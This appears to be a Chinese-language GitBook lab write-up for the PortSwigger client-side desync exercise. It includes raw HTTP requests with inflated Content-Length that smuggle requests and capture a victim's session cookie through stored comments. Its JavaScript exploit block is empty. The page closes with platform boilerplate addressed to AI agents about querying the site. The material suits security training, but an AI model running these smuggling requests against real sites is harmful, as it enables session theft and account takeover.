> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/client-side-desync.md).
# 客户端去同步
客户端去同步笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 客户端不同步
由于服务器忽略某些端点的 Content-Length 头部，因此该实验易受客户端不同步攻击。此弱点允许受害者的浏览器泄露其会话 cookie。/ 实验目标：
1. 使用 Burp 找出一个客户端不同步向量，然后检查它是否能在浏览器中复现。
2. 找到一个可注入或存储文本的应用元素。
3. 将两者结合起来，强制受害者的浏览器发送一系列跨域请求，从而泄露其 cookie。
4. 使用此 cookie 访问受害者的账户。
#### **服务器行为分析**
通过发送一个故意夸大的 Content-Length 的请求，服务器会忽略前者，反而将后续内容视为新的请求：
```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
GET /error HTTP/1.1
测试：hello
```
这一反应证实了客户端不同步的存在。
#### **演示不同步**
通过在 Burp 中配置两个请求（一个模拟客户端，另一个作为攻击）并依次发送，攻击者的错误响应会被发送给合法客户端。
这表明服务器会使 HTTP 流不同步。
#### **窃取受害者的 Cookie**
为了强制受害者的浏览器泄露其会话 cookie，我们利用评论功能；该功能允许在应用中存储文本。
发送一个带有夸大 Content-Length 的评论请求：
```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```
```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```
通过增大这个字段（例如设为 500），发布的评论就会泄露已登录账户的会话 cookie。
#### **通过 JavaScript 脚本自动化**
为了将攻击转化为受害者可用的利用脚本，需要构造一个封装在脚本中的走私请求：
```javascript
```
此负载会使受害者的浏览器自动发送走私请求。
随后，被盗的会话 cookie 会出现在评论区。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/client-side-desync.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
